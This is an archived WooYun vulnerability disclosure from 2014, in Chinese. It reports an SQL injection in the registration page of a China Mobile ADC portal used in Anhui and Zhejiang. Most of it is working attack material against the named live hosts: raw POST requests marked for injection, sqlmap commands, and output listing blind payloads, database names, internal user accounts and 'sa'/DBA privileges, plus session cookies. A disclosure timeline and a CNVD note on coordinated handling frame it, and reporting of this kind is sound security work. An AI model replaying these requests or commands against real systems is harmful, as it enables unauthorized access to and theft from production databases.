乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-07-11: 细节已通知厂商并且等待厂商处理中 2014-07-16: 厂商已经确认,细节仅向厂商公开 2014-07-26: 细节向核心白帽子及相关领域专家公开 2014-08-05: 细节向普通白帽子公开 2014-08-15: 细节向实习白帽子公开 2014-08-25: 细节向公众公开
中国移动某套ADC系统SQL注射 有两个省份都在用哦 (ADC是Application Data Center啦不是Attack Damage Carry ._.
安徽( http://adc.ah.chinamobile.com/ ) 和浙江( http://www.zjadc.com/ )都在用这套ADC系统。该系统注册页的"检测可用性"功能存在SQL注射。注册页:
http://adc.ah.chinamobile.com/ADCCSSPortal/SI/Register1.aspxhttp://www.zjadc.com/ADCCSSPortal/SI/Register1.aspx
以下是给sqlmap用的http请求包
POST //ADCCSSPortal/SI/Register1.aspx HTTP/1.1Host: www.zjadc.comProxy-Connection: keep-aliveContent-Length: 1531Cache-Control: no-cacheOrigin: http://www.zjadc.comX-MicrosoftAjax: Delta=trueUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.zjadc.com//ADCCSSPortal/SI/Register1.aspxAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: ASP.NET_SessionId=pc5l43vnxoihrh45gbtxsf55ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=&ctl00$ContentPlaceHolder1$TextBoxSIChName=admin*&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B
POST /ADCCSSPortal/SI/Register1.aspx HTTP/1.1Host: adc.ah.chinamobile.comProxy-Connection: keep-aliveContent-Length: 5804Cache-Control: no-cacheOrigin: http://adc.ah.chinamobile.comX-MicrosoftAjax: Delta=trueUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Referer: http://adc.ah.chinamobile.com/ADCCSSPortal/SI/Register1.aspxAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: tab1=tabl1; tabPage1=tabPage1; show_item=tab1; show_body=tabPage1; _ca_tk=ue0a6zlt80fttp3noh0s52fwmd6wncaj; _ga=GA1.2.899063312.1395497119; ASP.NET_SessionId=ulhpe555xfvvau45t43hwkyhctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&ctl00$ContentPlaceHolder1$TextBoxSIChName=admin*&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B
sqlmap.py -r E:\zj.txt --dbms=mssql --technique=B --risk=3 --level=3 --string="1484" --dbs --current-user --current-db --users
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: (custom) POSTParameter: #1* Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=&ctl00$ContentPlaceHolder1$TextBoxSIChName=-4887' OR (6995=6995) AND 'bXCv'='bXCv&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B---web server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2012current user: 'sa'current database: 'ZJADC'database management system users [14]:[*] ##MS_AgentSigningCertificate##[*] ##MS_SQLAuthenticatorCertificate##[*] ##MS_SQLReplicationSigningCertificate##[*] ##MS_SQLResourceSigningCertificate##[*] BackUpUser[*] BUILTIN\Administrators[*] NT AUTHORITY\SYSTEM[*] sa[*] ZJADC[*] ZJADC\chenhl[*] ZJADC\lizm[*] ZJADC\SqlAgent[*] ZJADC\SqlSearch[*] ZJADC\Sqlserveravailable databases [8]:[*] master[*] model[*] msdb[*] OpenMASForum[*] tempdb[*] ZJADC[*] ZJADCHis[*] ZJADCTemp
sqlmap.py -r E:\ah.txt --dbms=mssql --technique=B --risk=3 --level=3 --string="1332" --dbs --current-user --current-db --is-DBA
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: (custom) POSTParameter: #1* Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&ctl00$ContentPlaceHolder1$TextBoxSIChName=-1050' OR (4265=4265) AND 'FiLh'='FiLh&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B---web server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2012current user: 'ahadc'current database: 'ADCDB'current user is DBA: Trueavailable databases [9]:[*] ADCBSTest[*] ADCDB[*] adcDBOmsData[*] InterfaceRecord[*] master[*] model[*] msdb[*] simugate[*] tempdb
移动更专业:)
危害等级:高
漏洞Rank:11
确认时间:2014-07-16 10:47
CNVD确认并复现所述情况(仅确认其中一例),已经转由CNCERT直接通报给中国移动集团公司,由其后续协调网站管理单位处置。
暂无